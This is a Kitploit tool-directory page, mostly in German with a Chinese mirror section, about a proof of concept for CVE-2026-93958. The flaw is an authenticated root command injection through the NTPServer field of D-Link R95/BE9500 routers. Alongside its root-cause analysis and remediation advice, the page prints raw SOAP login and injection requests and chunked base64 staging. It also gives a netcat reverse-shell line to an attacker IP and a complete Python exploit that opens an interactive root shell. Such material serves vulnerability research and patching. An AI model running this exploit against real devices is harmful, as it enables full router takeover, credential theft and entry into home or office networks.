Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-93958 — Authentifizierte Command-Injection-PoC für D-Link R95/BE9500 DHMAPI SetTimeSettings, die Root-RCE über NTPServer-Backtick-Injection erreicht, mit vollständigem Exploit-Skript. | Kitploit
Tools/GitHubGitHub/hackspeak/cve-2026-93958
Embedded-System-SicherheitIoT-SicherheitSchwachstellenanalyseExploitationWebanwendungs-ExploitationPost-ExploitationPenetrationstestsCommand and ControlHardware- & IoT-SicherheitPapers & Forschung
GitHubhackspeak/cve-2026-93958
14vor 1 TagNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-93958

Authentifizierte Command-Injection-PoC für D-Link R95/BE9500 DHMAPI SetTimeSettings, die Root-RCE über NTPServer-Backtick-Injection erreicht, mit vollständigem Exploit-Skript.

Repository anzeigen

D-Link R95 BE9500 Wi-Fi 7 Smart Router

  • Hersteller:D-Link
  • Produkt:R95
  • Produktmodell:BE9500
  • Firmware-Version:1.01B06
  • Schwachstellentyp:Authentifizierte Command Injection

Beschreibung

Der D-Link R95 BE9500 Wi-Fi 7 Smart Router (Firmware-Version BE9500_1.00.16) enthält eine Command-Injection-Schwachstelle in der DHMAPI-Schnittstelle (SOAP über HTTPS) bei der Verarbeitung von SetTimeSettings-Anfragen. Das benutzergesteuerte Feld <NTPServer> wird ohne jegliche Bereinigung oder Validierung von Shell-Metazeichen in die Konfigurationsdatenbank gespeichert. Wenn die Konfiguration anschließend mit UCI synchronisiert wird (ntpclient.@ntpserver[0].hostname), konstruiert und führt der verwundbare Backend-Dienst einen in doppelte Anführungszeichen eingeschlossenen Shell-Befehl über einen system()-ähnlichen Aufruf aus. Durch das Injizieren von Backticks (```) in den <NTPServer>-Wert kann ein Angreifer eine Command Substitution erreichen — die Shell wertet den injizierten Inhalt aus, bevor sie den verketteten Befehl ausführt, was die Ausführung beliebiger Befehle mit root (uid=0)-Privilegien ermöglicht.

Der Angriff erfordert eine gültige Web-Management-Sitzung (sid), die durch authentifizierten Zugriff erhalten wird (getestet mit dem Administratorkonto Admin). Diese Schwachstelle wird durch die schwachen Standard-Anmeldedaten des Geräts oder potenzielle Authentifizierungsumgehungsprobleme weiter verstärkt, was die reale Angriffsfläche erheblich vergrößert.

Auswirkung

Ein authentifizierter Angreifer kann beliebige Befehle mit root-Privilegien ausführen, was zu einer vollständigen Kompromittierung des Geräts führt — einschließlich des Lesens sensibler Dateien (z. B. /etc/rg_config/admin-Chiffretext, Auslesen vollständiger Konfigurations-Backups), der Installation persistenter Backdoors, der Einrichtung von Reverse Shells und des Pivotierens in das interne Netzwerk für Lateral-Movement-Angriffe.

Schwachstellendetails

1. Betroffene Komponente und Ursache

Die Schwachstelle befindet sich im Web-Management-Backend-Binary /bin/ssi (läuft als root), das die DHMAPI-SOAP-Schnittstelle implementiert.

Taint-Quelle — der SetTimeSettings-Handler (Funktion bei Offset 0x6bd84 in ssi, Firmware 1.01B06):

  • Extrahiert das Feld <NTPServer> aus der SOAP-Anfrage in einen Stack-Puffer, längenbegrenzt auf 0x3f (63 Bytes) — dies ist eine Puffergrößenbegrenzung, keine Sicherheitsprüfung.
  • Speichert den Wert unverändert über einen internen Setter in den internen Konfigurationsschlüssel time.value.NTPServer — zu keinem Zeitpunkt erfolgt eine Filterung oder Escaping von Shell-Metazeichen.

Taint-Senke — Konfigurationssynchronisierung mit UCI. ssi synchronisiert Konfigurationswerte, indem sie in Shell-Befehlszeichenketten verkettet werden, die über system()-ähnliche Aufrufe ausgeführt werden. Eingebettete Formatstrings im Binary umfassen:

root@kitploit:~
uci set %s="%s" > /dev/null

Da der Wert in doppelte Anführungszeichen eingeschlossen ist, führt die Shell eine Command Substitution auf Backticks (`) / $() innerhalb des Werts durch, bevor der verkettete Befehl ausgeführt wird. Da ssi als root läuft, wird der injizierte Befehl mit root-Privilegien ausgeführt.

Timing-Beweise bestätigen, dass die Auswertung synchron innerhalb des Request-Handling-Pfads erfolgt: Das Injizieren von `sleep 10` verzögert die HTTP-Antwort um ~10 Sekunden. Der vergiftete Wert persistiert zusätzlich in UCI (ntpclient.@ntpserver[0].hostname) und wird später unquoted von /bin/start_ntpclient.sh (ntpclient -s -h $HOSTNAME) konsumiert — eine sekundäre Härtungslücke.

Ausnutzungsbeschränkungen (verifiziert):

2. Authentifizierungsvoraussetzung (API-AUTH-Schema)

Alle DHMAPI-Anfragen müssen enthalten:

  • Cookie: uid=<session cookie> (vom Login)
  • API-AUTH: <UPPERHEX(HMAC-SHA256(privkey, ts+action))> <ts>
  • API-ACTION / SOAPAction-Header passend zur SOAP-Action, plus User-Agent und Referer (fehlender UA/Referer führt zu HTTP 400/500)
  • ts ist ein Millisekunden-Zeitstempel; das Gerät validiert die Aktualität nicht, daher ist ein fester Wert wiederverwendbar

privkey-Ableitung:

  1. Login / Action=request (signiert mit dem statischen Schlüsselstring withoutloginkey) liefert Challenge, Cookie, PublicKey, SaltHash
  2. e = base64(PBKDF2-HMAC-SHA256(password, SaltHash, 5000, 32)) (oder das Klartextpasswort, wenn SaltHash fehlt)
  3. privkey = UPPERHEX(HMAC-SHA256(key = PublicKey + e, msg = Challenge))
  4. LoginPassword = UPPERHEX(HMAC-SHA256(key = privkey, msg = Challenge))
  5. Login / Action=login mit dem Obigen liefert <LoginResult>success</LoginResult>; nachfolgende Anfragen verwenden Cookie: uid=<step-1 Cookie> signiert mit

3. Proof of Concept

Schritt 1 — Login-Anfrage (Challenge/Cookie/PublicKey/SaltHash erhalten)

root@kitploit:~
POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey="withoutloginkey", ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

image-20260823160929456

Schritt 2 — Login (Sitzung aufbauen)

root@kitploit:~
POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey, ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<step-1 Cookie>
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>login</Action><Username>Admin</Username><LoginPassword><computed per Section 2></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

Erwartet: <LoginResult>success</LoginResult>.

image-20260823160951351

Schritt 3 — Command Injection (Ausgabe ins Web-Root schreiben)

root@kitploit:~
POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: SetTimeSettings
API-AUTH: <HMAC(privkey, ts+"SetTimeSettings")> <ts>
SOAPAction: "SetTimeSettings"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<session cookie>
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetTimeSettings><NTPServer>`id > /www/m_id.txt`</NTPServer><Enabled>true</Enabled></SetTimeSettings></soap:Body></soap:Envelope>

image-20260823161119324

Schritt 4 — Befehlsausgabe abrufen

root@kitploit:~
GET /m_id.txt HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Referer: https://192.168.2.254:18443/info/Login.html
Connection: close

Beobachteter Response-Body:

root@kitploit:~
uid=0(root) gid=0(root)

image-20260823161234632

Alternative Verifikation — zeitbasierte Blind-Injection

root@kitploit:~
<NTPServer>`sleep 10`</NTPServer>

Die HTTP-Antwort verzögert sich um ~10 Sekunden; ein harmloser NTP-Servername antwortet sofort.

Vollständige Ausnutzung — Reverse Shell

Das 63-Byte-Feldlimit wird umgangen, indem ein Skript in Base64-Fragmenten geschrieben wird:

  1. Wiederholte SetTimeSettings-Anfragen, die jeweils ein Fragment anhängen: `echo -n <b64-fragment> >> /tmp/x`
  2. Dekodieren: `base64 -d /tmp/x > /tmp/rs.rs`
  3. Inhalt von /tmp/rs.rs (beachten Sie die zwingenden Leerzeichen um die Pipes für busybox ash): rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i | nc <attacker-ip> 4444 > /tmp/f
  4. Auslösen: `sh /tmp/rs.rs`

Ergebnis: Eine interaktive root-Shell (~ #, BusyBox ash) wird auf dem Listener des Angreifers empfangen.

EXP:

root@kitploit:~
#!/usr/bin/env python3
# D-Link R95 (FW 1.01B06) SetTimeSettings/NTPServer authenticated command injection - PoC/EXP
# Usage: python r95_exp.py            interactive shell (commands run as root on the device)
#        python r95_exp.py "id"       run a single command
import sys, re, json, hmac, base64, hashlib, time
import urllib3
urllib3.disable_warnings()
import requests

HOST, PORT = "192.168.2.15", 18443             # lab target; use <device-ip>:443 for a real device
USER, PASSWORD = "Admin", "<password>"
BASE = "https://%s:%d" % (HOST, PORT)
TS = "1787052323000"                            # timestamp freshness is not validated by the device
OUT = "/www/e"                                  # command output dropped into the web root

s = requests.Session(); s.verify = False
privkey = cookie = None

def auth(key, action):
    return hmac.new(key.encode(), (TS + action).encode(), hashlib.sha256).hexdigest().upper() + " " + TS

def post(action, inner, key=None, ck=None):
    body = ('<?xml version="1.0" encoding="utf-8"?>'
            '<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" '
            'xmlns:xsd="http://www.w3.org/2001/XMLSchema" '
            'xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>'
            '<%s>%s</%s></soap:Body></soap:Envelope>' % (action, inner, action))
    h = {"API-ACTION": action, "API-AUTH": auth(key or privkey, action),
         "Content-Type": "text/xml; charset=utf-8", "User-Agent": "Mozilla/5.0",
         "Referer": BASE + "/info/Login.html"}
    if ck or cookie: h["Cookie"] = "uid=" + (ck or cookie)
    return s.post(BASE + "/DHMAPI/", data=body.encode(), headers=h, timeout=30)

def login():
    global privkey, cookie
    r = post("Login", "<Action>request</Action><Username>%s</Username>"
             "<LoginPassword></LoginPassword><Captcha></Captcha>" % USER, key="withoutloginkey")
    g = lambda t: (re.search("<%s>(.*?)</%s>" % (t, t), r.text) or [None, ""])[1]
    challenge, cookie, pubkey, salthash = g("Challenge"), g("Cookie"), g("PublicKey"), g("SaltHash")
    if not challenge:
        print("[!] login step 1 failed:", r.status_code, r.text[:200]); sys.exit(1)
    e = PASSWORD
    if salthash:
        e = base64.b64encode(hashlib.pbkdf2_hmac("sha256", PASSWORD.encode(),
                             salthash.encode(), 5000, dklen=32)).decode()
    privkey = hmac.new((pubkey + e).encode(), challenge.encode(), hashlib.sha256).hexdigest().upper()
    lp = hmac.new(privkey.encode(), challenge.encode(), hashlib.sha256).hexdigest().upper()
    r2 = post("Login", "<Action>login</Action><Username>%s</Username>"
              "<LoginPassword>%s</LoginPassword><Captcha></Captcha>" % (USER, lp))
    if "success" not in r2.text.lower():
        print("[!] login failed:", r2.text[:200]); sys.exit(1)
    print("[+] login OK, cookie=%s" % cookie)

def inject(cmd):
    """Execute one shell command via the NTPServer backtick injection (no output channel)"""
    if "&" in cmd:
        print("[!] command must not contain '&'"); return False
    r = post("SetTimeSettings", "<NTPServer>`%s`</NTPServer><Enabled>true</Enabled>" % cmd)
    if r.status_code == 401:
        print("[*] session expired, re-authenticating..."); login()
        r = post("SetTimeSettings", "<NTPServer>`%s`</NTPServer><Enabled>true</Enabled>" % cmd)
    return r.status_code == 200

def run(cmd):
    """Run a command and read back stdout. <=54 bytes: direct injection; longer: chunked base64"""
    cmd = cmd.strip()
    if not cmd: return
    direct = "%s>%s" % (cmd, OUT)
    if len(direct) <= 54:
        ok = inject(direct)
    else:
        b64 = base64.b64encode(cmd.encode()).decode()
        inject("rm -f /tmp/x")
        for i in range(0, len(b64), 40):
            if not inject("echo -n %s>>/tmp/x" % b64[i:i+40]):
                print("[!] fragment injection failed"); return
        inject("base64 -d /tmp/x>/tmp/x.sh")
        ok = inject("sh /tmp/x.sh>%s" % OUT)
    if not ok:
        print("[!] injection request failed"); return
    time.sleep(1)
    r = s.get(BASE + "/e", headers={"User-Agent": "Mozilla/5.0",
              "Referer": BASE + "/info/Login.html"}, timeout=15)
    out = r.text.rstrip("\n")
    print(out if out else "(no output)")

if __name__ == "__main__":
    login()
    if len(sys.argv) > 1:
        run(" ".join(sys.argv[1:])); sys.exit(0)
    print("[*] interactive mode - commands run as root on the device, 'exit' to quit")
    while True:
        try: c = input("r95# ")
        except (EOFError, KeyboardInterrupt): break
        if c.strip() in ("exit", "quit"): break
        run(c)

image-20260823161917864

4. Zusammenfassung der Ursache

  1. ssi speichert das Feld NTPServer (und benachbarte Felder im selben Handler) ohne jegliche Bereinigung in der Konfigurationsdatenbank;
  2. Die Konfigurationssynchronisierung verwendet system()-artige Shell-String-Verkettung mit dem in doppelte Anführungszeichen eingeschlossenen Wert, wodurch die Shell Backticks / $() im Wert auswertet;
  3. ssi läuft als root, sodass injizierte Befehle mit höchsten Privilegien ausgeführt werden.

Dasselbe Code-Muster ergibt mindestens 7 weitere authentifizierte Command-Injection-Punkte in dieser Firmware (TZLocation, DeviceName, DDNS Hostname/Username, Client NickName und eine Second-Order-Injection über SetNetworkSettings), alle mit uid=0(root)-Ausführung verifiziert.

5. Behebung

  • Strikte Whitelist-Validierung ([A-Za-z0-9.-]) auf hostnamenartige Eingabefelder vor der Speicherung anwenden;
  • system()-String-Verkettung durch die libuci-API (bereits in ssi gelinkt) oder exec*-Familienaufrufe ohne Shell ersetzen;
  • Die Variable $HOSTNAME in /bin/start_ntpclient.sh quoten;
  • Den Web-Management-Dienst mit reduzierten Privilegien ausführen;
  • Die oben aufgeführten benachbarten Injektionspunkte prüfen und einheitlich beheben.

分发镜像说明(中文)

本仓库为 CVE-2026-93958(D-Link R95 / BE9500 DHMAPI 命令注入) 漏洞 PoC 的中转分发镜像(技术分析见上方上游原版报告 D-Link R95 BE9500.md)。内容由上游公开 PoC 仓库镜像而来,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。

漏洞简述 / Vulnerability Summary

  • CVE-2026-93958 / D-Link R95(BE9500)Wi-Fi 7 智能路由器
  • 受影响固件:BE9500_1.00.16 / 1.01B06 系列
  • 类型:OS 命令注入(CWE-77 / CWE-78)→ root 权限任意命令执行
  • CVSS 3.1:9.1(Critical);CVSS 4.0:8.5;CVSS 2.0:8.3
  • 攻击面:DHMAPI(SOAP over HTTPS)接口 SetTimeSettings 请求的 <NTPServer> 字段
  • 前置条件:需一个有效的 Web 管理会话(认证后)
  • 影响组件:以 root 运行的 Web 管理后端 /bin/ssi

核心原理:/bin/ssi 的 SetTimeSettings 处理函数(偏移 0x6bd84)把 <NTPServer> 字段(长度上限 0x3f=63 字节,但无任何 shell 元字符过滤)原样存入配置库;配置同步到 UCI 时,ssi 把值拼进 uci set %s="%s" > /dev/null 这类 shell 字符串并用 system() 执行——值被双引号包裹,shell 会对反引号 / $() 做命令替换,而 ssi 以 root 运行,故注入命令满权限执行。

目录结构 / Layout

root@kitploit:~
D-Link R95 BE9500.md   —— 上游完整技术分析(含 4 步复现、认证机制、EXP 源码、加固建议)
r95_exp.py             —— 从上游报告中提取的完整 Python EXP(requests 实现)
image-*.png            —— 上游报告附图(5 张)

环境与用法 / Requirements & Usage

  • 目标:未修复固件的 D-Link R95 / BE9500(实验室设备);需有效管理会话(管理员账号)
  • 依赖:Python 3 + requests
  • 用法:
root@kitploit:~
python r95_exp.py            # 交互式 root shell(命令在设备上以 root 执行)
python r95_exp.py "id"       # 执行单条命令

⚠️ 注意:注入字段长度上限约 63 字节,且命令不能含 &;EXP 对 ≤54 字节命令直接注入,更长的命令自动切 base64 分片写入 /tmp/x 再解码执行,输出写入 Web 根目录 /www/e 后经 HTTP 取回。

免责声明 / Disclaimer

本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的设备运行。利用会以 root 权限在设备上执行任意命令,请在可销毁的实验室环境中测试。

归属与许可 / Attribution & License

  • 上游 PoC 报告与 EXP 作者:FoundTL(公开漏洞研究仓库 FoundTL/D-Link-R95-BE9500)。
  • 分发仓库采用 MIT License(见 LICENSE)。

参考链接 / References

  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-93958
  • CVE 记录:https://www.cve.org/CVERecord?id=CVE-2026-93958
  • D-Link 官网:https://www.dlink.com/
Tool herunterladen
BeschränkungVerifiziertes Ergebnis
Feldlänge≤ 63 Bytes akzeptiert; 60 Bytes OK, 80 Bytes abgelehnt (HTTP 400)
&-ZeichenDarf nicht vorkommen (bricht die verkettete Befehlszeile)
InjektionssyntaxBackticks `cmd` verifiziert; $(cmd) funktioniert voraussichtlich ebenso
Ausführungskontextuid=0(root) gid=0(root)
AusgabekanalKein direktes Echo; Umleitung ins Web-Root (> /www/<file>) und Abruf per HTTP GET
privkey